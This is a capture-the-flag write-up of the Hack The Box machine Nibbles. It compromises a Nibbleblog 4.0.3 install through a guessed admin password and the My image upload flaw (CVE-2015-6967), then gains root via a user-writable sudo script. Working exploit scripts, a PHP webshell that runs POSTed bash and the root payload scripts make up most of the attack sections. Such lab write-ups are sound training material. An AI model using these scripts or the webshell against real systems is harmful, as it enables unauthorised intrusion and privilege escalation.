HTB: Nibbles
A comment on the front page names a Nibbleblog install, a one-shot password guess opens its admin panel, the My image plugin stores a PHP file as given, and a sudo rule for a script under the web user's own home turns that user into root.
- Published
- Reading time
- 20 min
- Difficulty
- easy
- Target
- Linux (Nibbles)
Overview
Nibbles is a blog engine left as installed. An HTML comment on an otherwise empty front page points at /nibbleblog/, the engine’s data directory is browsable and names the one account, the password is the name of the site, and an image plugin keeps whatever file it is handed. Apache runs as a login user, and that user holds a sudo rule for a script inside a home directory it owns, so root is one file write away.
I had read write-ups of this machine and remembered its outline: the comment, the Nibbleblog admin with a guessable password, the My image plugin (CVE-2015-6967) and a sudo rule on a user-writable script. Each step that memory prompted is marked where it happens. From the first packet to root took two and a half minutes (the second of the spawn itself was not recorded), which measures recall and not difficulty. No hints were used and there was no dead end. Several names were typed before the box had shown them: the account nibbler, the plugin’s admin URL, the login field names. Only the password has no observable behind it at all.
Reconnaissance
cd ../.. && bin/kali nibbles "nmap -sC -sV -oN /work/scans/01-top.nmap 10.129.102.64"
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-26 11:02 +0000
Nmap scan report for 10.129.102.64
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.25 seconds
[lr exit 0]
cd ../.. && bin/kali nibbles "nmap -p- --min-rate 2000 -oN /work/scans/02-full.nmap 10.129.102.64" | grep -v "^$"
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-26 11:02 +0000
Nmap scan report for 10.129.102.64
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 37.31 seconds
[lr exit 0]
SSH and HTTP, nothing else on any TCP port. The front page, robots.txt, and the directory the front page’s comment names. That third request was put in the same call from memory of the outline; the comment in the first answer is the observable that leads to it.
for p in / /robots.txt /nibbleblog/; do echo "### GET $p"; curl -s -i -m 15 "http://10.129.102.64$p" | cut -c1-300 | head -45; echo; done
### GET /
HTTP/1.1 200 OK
Date: Thu, 26 Nov 2026 11:03:17 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
ETag: "5d-5616c3cf7fa77"
Accept-Ranges: bytes
Content-Length: 93
Vary: Accept-Encoding
Content-Type: text/html
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
### GET /robots.txt
HTTP/1.1 404 Not Found
Date: Thu, 26 Nov 2026 11:03:17 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 287
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /robots.txt was not found on this server.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 10.129.102.64 Port 80</address>
</body></html>
### GET /nibbleblog/
HTTP/1.1 200 OK
Date: Thu, 26 Nov 2026 11:03:18 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: PHPSESSID=1313he5d31q9mni1c3romhq7k6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2987
Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Nibbles - Yum yum</title>
<meta name="generator" content="Nibbleblog">
<link rel="canonical" href="http://10.10.10.134/nibbleblog/">
<link rel="alternate" type="application/atom+xml" title="ATOM Feed" href="/nibbleblog/feed.php">
<link rel="stylesheet" type="text/css" href="/nibbleblog/themes/simpler/css/normalize.css">
<link rel="stylesheet" type="text/css" href="/nibbleblog/themes/simpler/css/main.css">
<link rel="stylesheet" type="text/css" href="/nibbleblog/themes/simpler/css/post.css">
<link rel="stylesheet" type="text/css" href="/nibbleblog/themes/simpler/css/page.css">
<link rel="stylesheet" type="text/css" href="/nibbleblog/themes/simpler/css/plugins.css">
<link rel="stylesheet" type="text/css" href="/nibbleblog/themes/simpler/css/rainbow.css">
<script src="/nibbleblog/admin/js/jquery/jquery.js"></script>
<script src="/nibbleblog/themes/simpler/js/rainbow-custom.min.js"></script>
<link rel="shortcut icon" href="/nibbleblog/themes/simpler/css/img/favicon.ico" type="image/x-icon">
</head>
<body>
<div id="container">
<!-- HEADER -->
<header id="blog-head">
<a href="/nibbleblog/">
<span class="blog-name">Nibbles</span>
<span class="blog-slogan">Yum yum</span>
</a>
</header>
<!-- MAIN -->
<section id="main">
<!-- PLUGINS -->
[lr exit 0]
A static page of 93 bytes with a comment below a run of blank lines, and behind it a PHP application whose generator tag says Nibbleblog. A wordlist pass on that directory went to the background:
cd ../.. && bin/kali nibbles "ffuf -s -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .php,.txt,.xml -u http://10.129.102.64/nibbleblog/FUZZ -mc 200,301,302,403 -fc 403 -t 40 -o /work/scans/04-ffuf.json | tee /work/scans/04-ffuf.hits"
It was still running when the machine was stopped. Its hits were read three times (the other two are in later output); this is the last reading, and the file gained one more line, themes, before the machine was stopped. Stopping the machine did not end the client: its container was still alive eight minutes later and was killed by hand, a mistake noted in the log:
cat scans/04-ffuf.hits | tr "\n" " "; echo; wc -l < scans/04-ffuf.hits; tail -3 artifacts/04-ffuf.out
LICENSE.txt README admin admin.php admin.php content feed.php index.php index.php install.php languages plugins sitemap.php
13
languages
plugins
sitemap.php
[lr exit 0]
Nothing in the chain needed those hits: admin.php and README were requested from knowledge of the product, not from the scan. install.php and sitemap.php were not requested at all.
While the scan ran, the links on the blog’s own front page were listed, with the directories they sit in:
curl -s -m 15 http://10.129.102.64/nibbleblog/ | grep -o -i -E "(href|src|action)=\"[^\"]*\"" | sort -u; for p in /nibbleblog/admin/ /nibbleblog/themes/ /nibbleblog/feed.php; do echo "### GET $p"; curl -s -m 15 -o scans/05.body -w "%{http_code} %{size_download} %{content_type}\n" "http://10.129.102.64$p"; grep -o -i "href=\"[^\"?]*\"" scans/05.body | head -30 | tr "\n" " "; echo; done
href="#"
href="http://10.10.10.134/nibbleblog/"
href="/nibbleblog/"
href="/nibbleblog/feed.php"
href="/nibbleblog/index.php?controller=blog&action=view&category=music"
href="/nibbleblog/index.php?controller=blog&action=view&category=uncategorised"
href="/nibbleblog/index.php?controller=blog&action=view&category=videos"
href="/nibbleblog/themes/simpler/css/img/favicon.ico"
href="/nibbleblog/themes/simpler/css/main.css"
href="/nibbleblog/themes/simpler/css/normalize.css"
href="/nibbleblog/themes/simpler/css/page.css"
href="/nibbleblog/themes/simpler/css/plugins.css"
href="/nibbleblog/themes/simpler/css/post.css"
href="/nibbleblog/themes/simpler/css/rainbow.css"
src="/nibbleblog/admin/js/jquery/jquery.js"
src="/nibbleblog/content/private/plugins/my_image/image.jpg"
src="/nibbleblog/themes/simpler/js/rainbow-custom.min.js"
### GET /nibbleblog/admin/
200 2129 text/html;charset=UTF-8
href="/nibbleblog/" href="ajax/" href="boot/" href="controllers/" href="js/" href="kernel/" href="templates/" href="views/"
### GET /nibbleblog/themes/
200 1743 text/html;charset=UTF-8
href="/nibbleblog/" href="echo/" href="medium/" href="note-2/" href="simpler/" href="techie/"
### GET /nibbleblog/feed.php
200 302 text/xml; charset=utf-8
href="http://10.10.10.134/nibbleblog/feed.php"
[lr exit 0]
Two findings. Directory listing is on, and the page loads an image from content/private/plugins/my_image/, so a directory called private is served and a plugin called My image is installed. Both follow from the page alone. The next call lists that tree and reads three XML files and the README. The file names were typed into the same call that fetched the listings, so they are recall as well; the listings in the output confirm each one.
echo "### scan hits so far"; cat scans/04-ffuf.hits | tr "\n" " "; echo; for p in /nibbleblog/content/private/ /nibbleblog/content/private/plugins/my_image/; do echo "### listing $p"; curl -s -m 15 "http://10.129.102.64$p" | grep -o "href=\"[^\"?]*\"" | tr "\n" " "; echo; done; for f in users.xml config.xml plugins/my_image/db.xml; do echo "### $f"; curl -s -m 15 "http://10.129.102.64/nibbleblog/content/private/$f" | tee loot/$(basename $f) | cut -c1-1500; echo; done; echo "### README head"; curl -s -m 15 http://10.129.102.64/nibbleblog/README | head -12
### scan hits so far
LICENSE.txt README
### listing /nibbleblog/content/private/
href="/nibbleblog/content/" href="categories.xml" href="comments.xml" href="config.xml" href="keys.php" href="notifications.xml" href="pages.xml" href="plugins/" href="posts.xml" href="shadow.php" href="tags.xml" href="users.xml"
### listing /nibbleblog/content/private/plugins/my_image/
href="/nibbleblog/content/private/plugins/" href="db.xml"
### users.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users><user username="admin"><id type="integer">0</id><session_fail_count type="integer">0</session_fail_count><session_date type="integer">1514544131</session_date></user><blacklist type="string" ip="10.10.10.1"><date type="integer">1512964659</date><fail_count type="integer">1</fail_count></blacklist></users>
### config.xml
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<config><name type="string">Nibbles</name><slogan type="string">Yum yum</slogan><footer type="string">Powered by Nibbleblog</footer><advanced_post_options type="integer">0</advanced_post_options><url type="string">http://10.10.10.134/nibbleblog/</url><path type="string">/nibbleblog/</path><items_rss type="integer">4</items_rss><items_page type="integer">6</items_page><language type="string">en_US</language><timezone type="string">UTC</timezone><timestamp_format type="string">%d %B, %Y</timestamp_format><locale type="string">en_US</locale><img_resize type="integer">1</img_resize><img_resize_width type="integer">1000</img_resize_width><img_resize_height type="integer">600</img_resize_height><img_resize_quality type="integer">100</img_resize_quality><img_resize_option type="string">auto</img_resize_option><img_thumbnail type="integer">1</img_thumbnail><img_thumbnail_width type="integer">190</img_thumbnail_width><img_thumbnail_height type="integer">190</img_thumbnail_height><img_thumbnail_quality type="integer">100</img_thumbnail_quality><img_thumbnail_option type="string">landscape</img_thumbnail_option><theme type="string">simpler</theme><notification_comments type="integer">1</notification_comments><notification_session_fail type="integer">0</notification_session_fail><notification_session_start type="integer">0</notification_session_start><notification_email_to type="string">admin@nibbles.com</notification_email_to><notification_email_from type="string">noreply@10.10.10.134</
### plugins/my_image/db.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
[...]
### README head
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com
===== Social =====
* Twitter: http://twitter.com/nibbleblog
[lr exit 0]
users.xml gives the account name admin and shows that the application counts failed logins per address in a blacklist. README gives the version, 4.0.3 from 2014. The one line cut is the plugin’s db.xml record, which carries its author’s name: plugin My image, version 3.7, position 4. config.xml is cut at 1,500 characters by the command.
Attack Surface Analysis
| Surface | Weakness | CWE |
|---|---|---|
| Front page | A comment discloses the application path | CWE-615 |
/nibbleblog/content/private/ |
Directory listing and direct reads of the engine’s data files, account name included | CWE-548 |
| Admin login | The password is the site’s name | CWE-521 |
| My image plugin, Nibbleblog 4.0.3 | An authenticated upload keeps a file with a .php name in a served directory (CVE-2015-6967) |
CWE-434 |
| Apache | The server runs as the login user nibbler |
CWE-250 |
sudoers |
A NOPASSWD rule for a script path inside a directory its user owns | CWE-732 |
Vulnerability Analysis
The upload. I did not read the plugin’s source in this session, so what follows is behaviour, shown in the next section. The plugin’s form has a file field image; a file posted as r.php appears in the plugin’s directory as image.php. The page that comes back carries four PHP warnings from image functions (imagesx() expects parameter 1 to be resource), which says the code tried to resize the upload as a picture, failed, and left the file in place anyway. The extension is taken from the client’s file name and nothing checks type or content before the file lands under the web root. That the plugin behaves this way in 4.0.3 is CVE-2015-6967, which I recalled and did not look up during the session.
The login. The upload needs a session, and the blacklist in users.xml makes a wordlist a bad idea, so the password has to be guessed in very few tries. The guess that works is the site’s name in lower case. Nothing on the box gives it; I knew it from write-ups. An attacker without that memory has the same short list anyone would try against a blog called Nibbles, and no control stops the first few guesses. I sent one wrong password as a control and did not test how many failures the blacklist tolerates.
The sudo rule. nibbler may run /home/nibbler/personal/stuff/monitor.sh as root without a password. A sudo rule is only as strong as the write permissions on every component of its path. Here the home directory belongs to nibbler, and the personal directory does not even exist until the zip beside it is unpacked, so whoever is nibbler decides what the script contains.
The run user. The web server runs as nibbler, not www-data. That removes a privilege boundary: code execution in the blog is code execution as the account that holds the sudo rule.
Exploitation
Phase 1: remote to nibbler
The laptop accepts no inbound connections, so nothing here calls back. The uploaded file is a runner: it takes a base64 script in a POST field, writes it to /dev/shm, runs it with bash and deletes it. One script does the login control, the login, reads the plugin’s form and sends its fields back with the file attached. The login field names and the plugin’s config URL in the script are recall of the product; the script prints the form’s fields before it posts, and they match. The guess was put in a file first:
printf '%s' nibbles > loot/guess.txt
python3 -I artifacts/07-plant.py "$(cat loot/guess.txt)"
# log in to the Nibbleblog admin as the user named in users.xml, with a wrong password first as the control, then use
# the My image plugin form to store a PHP file: the form's own fields are read from the page and sent back unchanged,
# with the file field carrying r.php. The runner takes a base64 script in POST field s, runs it with bash from /dev/shm.
# usage: 07-plant.py <password guess>
import re, sys, requests
T = "http://10.129.102.64/nibbleblog/"
php = b'<?php if (isset($_POST["s"])) { $f = tempnam("/dev/shm", "r"); file_put_contents($f, base64_decode($_POST["s"])); passthru("bash $f 2>&1"); unlink($f); } ?>'
def login(pw):
s = requests.Session()
page = s.get(T + "admin.php", timeout=20).text
print("login form fields:", re.findall(r'<input[^>]*name="([^"]+)"', page))
r = s.post(T + "admin.php", data={"username": "admin", "password": pw}, allow_redirects=False, timeout=20)
print(" -> %d Location %s, %d bytes" % (r.status_code, r.headers.get("Location"), len(r.content)))
return s, r
print("### control: a wrong password"); login("not-the-password")
print("### the guess"); s, r = login(sys.argv[1])
if "Location" not in r.headers:
sys.exit("no redirect: not logged in")
u = T + "admin.php?controller=plugins&action=config&plugin=my_image"
page = s.get(u, timeout=20).text
form = page[page.find("<form"):page.find("</form>")]
print("### plugin form"); print(re.sub(r"\s+", " ", form)[:1500])
data = {n: v for n, v in re.findall(r'<input[^>]*name="([^"]+)"[^>]*value="([^"]*)"', form)}
print("fields sent back:", sorted(data))
r = s.post(u, data=data, files={"image": ("r.php", php, "application/x-php")}, timeout=30)
print("### upload -> %d, %d bytes; warnings on the page: %s" % (r.status_code, len(r.content), re.findall(r"<b>(Warning|Notice)</b>:\s*([^<]{0,80})", r.text)[:4]))
r = requests.get("http://10.129.102.64/nibbleblog/content/private/plugins/my_image/", timeout=20)
print("### plugin directory now:", re.findall(r'href="([^"?/][^"]*)"', r.text))
### control: a wrong password
login form fields: ['username', 'password', 'remember']
-> 200 Location None, 1541 bytes
### the guess
login form fields: ['username', 'password', 'remember']
-> 302 Location /nibbleblog/admin.php?controller=dashboard&action=view, 0 bytes
### plugin form
<form id="js_form" name="form" method="post" enctype="multipart/form-data" class="plugins" ><input name="plugin" type="hidden" value="my_image" /><label >Title</label><input name="title" type="text" value="My image" /><label >Position</label><select name="position" ><option value="1" >1</option><option value="2" >2</option><option value="3" >3</option><option value="4" selected="selected">4</option><option value="5" >5</option></select><label>Caption</label><input name="caption" type="text" value=""><input name="image" type="file"><input name="image_resize" type="hidden" value="1"><input name="image_width" type="hidden" value="230"><input name="image_height" type="hidden" value="200"><input name="image_option" type="hidden" value="auto"><input class="save" type="submit" value="Save changes" />
fields sent back: ['caption', 'image_height', 'image_option', 'image_resize', 'image_width', 'plugin', 'title']
### upload -> 200, 4936 bytes; warnings on the page: [('Warning', 'imagesx() expects parameter 1 to be resource, boolean given in '), ('Warning', 'imagesy() expects parameter 1 to be resource, boolean given in '), ('Warning', 'imagecreatetruecolor(): Invalid image dimensions in '), ('Warning', 'imagecopyresampled() expects parameter 1 to be resource, boolean given in ')]
### plugin directory now: ['db.xml', 'image.php']
[lr exit 0]
The wrong password gets the login page again with status 200; the guess gets a 302 to the dashboard. The upload answers 200 with the four warnings, and the plugin directory then lists image.php. The script collects input fields only, so the form’s position select was not sent; the plugin’s db.xml read in the next step shows position 4, as before.
Commands go through a second script that wraps a local file in two markers:
# run a local script file on the target through the stored runner: the file goes base64 in POST field s, wrapped in two
# marker lines, and only what comes back between them is printed
# usage: 08-run.py <script file>
import base64, sys, requests
src = "echo ___B___\n" + open(sys.argv[1]).read() + "\necho ___E___\n"
r = requests.post("http://10.129.102.64/nibbleblog/content/private/plugins/my_image/image.php", data={"s": base64.b64encode(src.encode())}, timeout=120)
t = r.text
print("%s: %d -> %s" % (sys.argv[1], len(src), r.status_code))
print(t[t.find("___B___") + 8 : t.find("___E___")] if "___B___" in t else t[:600])
python3 -I artifacts/08-run.py artifacts/09-id.sh | python3 -I ../../tools/b64file-filter.py loot
id; hostname; uname -a; pwd
cat /nibbleblog/content/private/plugins/my_image/db.xml 2>/dev/null || cat db.xml
ls -la /home /home/*
echo "B64FILE:user.txt:$(base64 -w0 /home/nibbler/user.txt)"
sudo -n -l 2>&1
unzip -l /home/nibbler/personal.zip 2>&1
ls -la /home/nibbler/personal 2>&1 | head
grep -v -e nologin -e /bin/false /etc/passwd
artifacts/09-id.sh: 363 -> 200
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
Nibbles
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/nibbleblog/content/private/plugins/my_image
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
[...]
/home:
total 12
drwxr-xr-x 3 root root 4096 Dec 10 2017 .
drwxr-xr-x 23 root root 4096 Dec 15 2020 ..
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29 2017 nibbler
/home/nibbler:
total 20
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29 2017 .
drwxr-xr-x 3 root root 4096 Dec 10 2017 ..
-rw------- 1 nibbler nibbler 0 Dec 29 2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10 2017 .nano
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Nov 26 06:02 user.txt
saved artifacts/user.txt: 33 bytes
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Archive: /home/nibbler/personal.zip
Length Date Time Name
--------- ---------- ----- ----
0 2017-12-10 21:58 personal/
0 2017-12-10 22:05 personal/stuff/
4015 2015-05-08 03:17 personal/stuff/monitor.sh
--------- -------
4015 3 files
ls: cannot access '/home/nibbler/personal': No such file or directory
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
nibbler:x:1001:1001::/home/nibbler:
[lr exit 0]
Code runs as nibbler, two minutes and ten seconds after the first packet. The script names /home/nibbler and personal.zip before any output had shown either: recall again, covered by the ls -la /home /home/* beside it. The line cut is the plugin’s db.xml record, unchanged from before the upload. The user flag is mode 400 and owned by that account; it was saved without being printed (a filter turns B64FILE: lines into local files and prints the size). sudo -n -l is the first check in my methodology after any shell and it is also where the remembered outline pointed: one NOPASSWD rule, for a script whose directory does not exist. The zip in the home holds a monitor.sh at exactly that path.
Phase 2: nibbler to root
The plan in one call: keep a copy of the script from the zip, create the directory, write my own script to the path the rule names, run it with sudo. The script to run as root is this one; it reads the flag into a B64FILE: line and collects what only root can read:
#!/bin/bash
exec 2>&1
m() { sed -e 's/10\.10\.1[0-9]\.[0-9]*/10.10.14.X/g' | cut -c1-200; }
id
echo "B64FILE:root.txt:$(base64 -w0 /root/root.txt)"
ls -la /root
grep -v -e '^#' -e '^$' /etc/sudoers; ls -la /etc/sudoers.d
crontab -l 2>&1 | grep -v '^#'
grep -E '^(User|Group)|APACHE_RUN' /etc/apache2/apache2.conf /etc/apache2/envvars
echo "### access.log by kind"; awk -F'"' '{print $2}' /var/log/apache2/access.log | cut -c1-70 | sort | uniq -c | sort -rn | head -12
echo "### access.log: admin and plugin lines"; grep -e 'admin.php' -e 'image.php' /var/log/apache2/access.log | m | tail -8
echo "### auth.log: sudo"; grep -a sudo /var/log/auth.log | tail -4 | m
It travels base64 inside the script the runner executes: 10-root.sh was written with a line @@MONITOR@@, and a Python one-liner replaced that line with the base64 of 10-monitor.sh (the command is in the session log as a correction line):
python3 -I artifacts/08-run.py artifacts/10-root.sh | python3 -I ../../tools/b64file-filter.py loot
cd /home/nibbler
echo "B64FILE:monitor-original.sh:$(unzip -p personal.zip personal/stuff/monitor.sh | base64 -w0)"
mkdir -p personal/stuff
base64 -d > personal/stuff/monitor.sh <<'B64'
IyEvYmluL2Jhc2gKZXhlYyAyPiYxCm0oKSB7IHNlZCAtZSAncy8xMFwuMTBcLjFbMC05XVwuWzAtOV0qLzEwLjEwLjE0LlgvZycgfCBjdXQgLWMxLTIwMDsgfQppZAplY2hvICJCNjRGSUxFOnJvb3QudHh0OiQoYmFzZTY0IC13MCAvcm9vdC9yb290LnR4dCkiCmxzIC1sYSAvcm9vdApncmVwIC12IC1lICdeIycgLWUgJ14kJyAvZXRjL3N1ZG9lcnM7IGxzIC1sYSAvZXRjL3N1ZG9lcnMuZApjcm9udGFiIC1sIDI+JjEgfCBncmVwIC12ICdeIycKZ3JlcCAtRSAnXihVc2VyfEdyb3VwKXxBUEFDSEVfUlVOJyAvZXRjL2FwYWNoZTIvYXBhY2hlMi5jb25mIC9ldGMvYXBhY2hlMi9lbnZ2YXJzCmVjaG8gIiMjIyBhY2Nlc3MubG9nIGJ5IGtpbmQiOyBhd2sgLUYnIicgJ3twcmludCAkMn0nIC92YXIvbG9nL2FwYWNoZTIvYWNjZXNzLmxvZyB8IGN1dCAtYzEtNzAgfCBzb3J0IHwgdW5pcSAtYyB8IHNvcnQgLXJuIHwgaGVhZCAtMTIKZWNobyAiIyMjIGFjY2Vzcy5sb2c6IGFkbWluIGFuZCBwbHVnaW4gbGluZXMiOyBncmVwIC1lICdhZG1pbi5waHAnIC1lICdpbWFnZS5waHAnIC92YXIvbG9nL2FwYWNoZTIvYWNjZXNzLmxvZyB8IG0gfCB0YWlsIC04CmVjaG8gIiMjIyBhdXRoLmxvZzogc3VkbyI7IGdyZXAgLWEgc3VkbyAvdmFyL2xvZy9hdXRoLmxvZyB8IHRhaWwgLTQgfCBtCg==
B64
chmod 700 personal/stuff/monitor.sh; ls -la personal/stuff
sudo -n /home/nibbler/personal/stuff/monitor.sh
artifacts/10-root.sh: 1213 -> 200
saved loot/monitor-original.sh: 4015 bytes
total 12
drwxr-xr-x 2 nibbler nibbler 4096 Nov 26 06:04 .
drwxr-xr-x 3 nibbler nibbler 4096 Nov 26 06:04 ..
-rwx------ 1 nibbler nibbler 664 Nov 26 06:04 monitor.sh
uid=0(root) gid=0(root) groups=0(root)
saved artifacts/root.txt: 33 bytes
total 32
drwx------ 4 root root 4096 Nov 26 06:02 .
drwxr-xr-x 23 root root 4096 Dec 15 2020 ..
-rw------- 1 root root 0 Dec 29 2017 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Dec 10 2017 .cache
drwxr-xr-x 2 root root 4096 Dec 10 2017 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1091 Dec 15 2020 .viminfo
-r-------- 1 root root 33 Nov 26 06:02 root.txt
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
root ALL=(ALL:ALL) ALL
nibbler ALL=(root) NOPASSWD:/home/nibbler/personal/stuff/monitor.sh
%admin ALL=(ALL) ALL
%sudo ALL=(ALL:ALL) ALL
total 12
drwxr-xr-x 2 root root 4096 Sep 22 2017 .
drwxr-xr-x 92 root root 4096 Nov 30 2021 ..
-r--r----- 1 root root 958 Mar 30 2016 README
no crontab for root
/etc/apache2/apache2.conf:User ${APACHE_RUN_USER}
/etc/apache2/apache2.conf:Group ${APACHE_RUN_GROUP}
/etc/apache2/envvars:export APACHE_RUN_USER=nibbler
/etc/apache2/envvars:export APACHE_RUN_GROUP=nibbler
/etc/apache2/envvars:export APACHE_RUN_DIR=/var/run/apache2$SUFFIX
### access.log by kind
97 GET /nibbleblog/admin/js/system.php?v=1396309604 HTTP/1.1
85 OPTIONS * HTTP/1.0
64 GET / HTTP/1.1
46 OPTIONS / HTTP/1.1
38 GET /nibbleblog/ HTTP/1.1
36 GET /nibbleblog/content/private/plugins/my_image/image.jpg HTTP/1.1
31 GET /nibbleblog/admin.php HTTP/1.1
22 POST /nibbleblog/admin.php HTTP/1.1
21 GET /nibbleblog/admin/js/system.php HTTP/1.1
21 GET /favicon.ico HTTP/1.1
20 GET /nibbleblog/admin/templates/default/css/normalize.css HTTP/1.1
19 GET /nibbleblog/admin.php?controller=post&action=list HTTP/1.1
sort: write failed: 'standard output': Broken pipe
sort: write error
### access.log: admin and plugin lines
10.10.14.X - - [26/Nov/2026:06:04:28 -0500] "GET /nibbleblog/index_admin.php HTTP/1.1" 404 464 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:04:29 -0500] "GET /nibbleblog/indy_admin.php HTTP/1.1" 404 463 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:04:31 -0500] "GET /nibbleblog/irc-macadmin.php HTTP/1.1" 404 465 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:04:32 -0500] "GET /nibbleblog/jpegimage.php HTTP/1.1" 404 462 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:04:35 -0500] "GET /nibbleblog/listadmin.php HTTP/1.1" 404 462 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:04:36 -0500] "GET /nibbleblog/loginadmin.php HTTP/1.1" 404 463 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:04:36 -0500] "GET /nibbleblog/logo_sysadmin.php HTTP/1.1" 404 466 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:04:37 -0500] "GET /nibbleblog/macadmin.php HTTP/1.1" 404 461 "-" "Fuzz Faster U Fool v2.3.0"
### auth.log: sudo
Dec 28 16:21:55 Nibbles sudo: nibbler : TTY=unknown ; PWD=/home/nibbler/personal/stuff ; USER=root ; COMMAND=list
Nov 26 06:04:20 Nibbles sudo: nibbler : TTY=unknown ; PWD=/var/www/html/nibbleblog/content/private/plugins/my_image ; USER=root ; COMMAND=list
Nov 26 06:04:39 Nibbles sudo: nibbler : TTY=unknown ; PWD=/home/nibbler ; USER=root ; COMMAND=/home/nibbler/personal/stuff/monitor.sh
Nov 26 06:04:39 Nibbles sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
[lr exit 0]
uid 0, two minutes and 29 seconds after the first packet (sudo line at 06:04:39 against the scan’s start at 11:02:10 UTC, the two clocks agreeing to the second), and the root flag saved the same way. The block under “admin and plugin lines” is useless as evidence: my filter matched the wordlist scan’s guesses at file names. The next step counts the session’s requests with the scan excluded; its own “login and upload lines” block still catches four scan guesses and stops at eight lines, one short of the second POST to the runner.
Post-Exploitation
The same output answers the open questions. sudoers holds the one rule for nibbler next to the stock lines. envvars sets APACHE_RUN_USER=nibbler, which is why the runner was never www-data. Root has no crontab.
One more root script read the session’s traces and the state of users.xml, then everything the session created was removed by name: the script, the two directories, and last the runner by its own hand.
#!/bin/bash
exec 2>&1
m() { sed -e 's/10\.10\.1[0-9]\.[0-9]*/10.10.14.X/g' | cut -c1-210; }
L=/var/log/apache2/access.log
echo "### access.log: this session without the wordlist scan, by request"; grep '26/Nov/2026' $L | grep -v -e 'Fuzz Faster' -e nmap -i | awk -F'"' '{print $2, "->", substr($3,2,3)}' | sort | uniq -c | sort -rn | head -25 | m
echo "### wordlist scan lines so far: $(grep -c 'Fuzz Faster' $L)"
echo "### the login and upload lines"; grep '26/Nov/2026' $L | grep -e 'POST /nibbleblog/admin.php' -e 'image.php' | m | head -8
echo "### error.log: today, first 6"; grep 'Nov 26' /var/log/apache2/error.log | m | head -6
echo "### users.xml now"; cat /var/www/html/nibbleblog/content/private/users.xml | m; echo
stat -c '%A %U:%G %n' /home/nibbler /home/nibbler/personal.zip /var/www/html/nibbleblog/content/private /var/www/html/nibbleblog/content/private/plugins/my_image
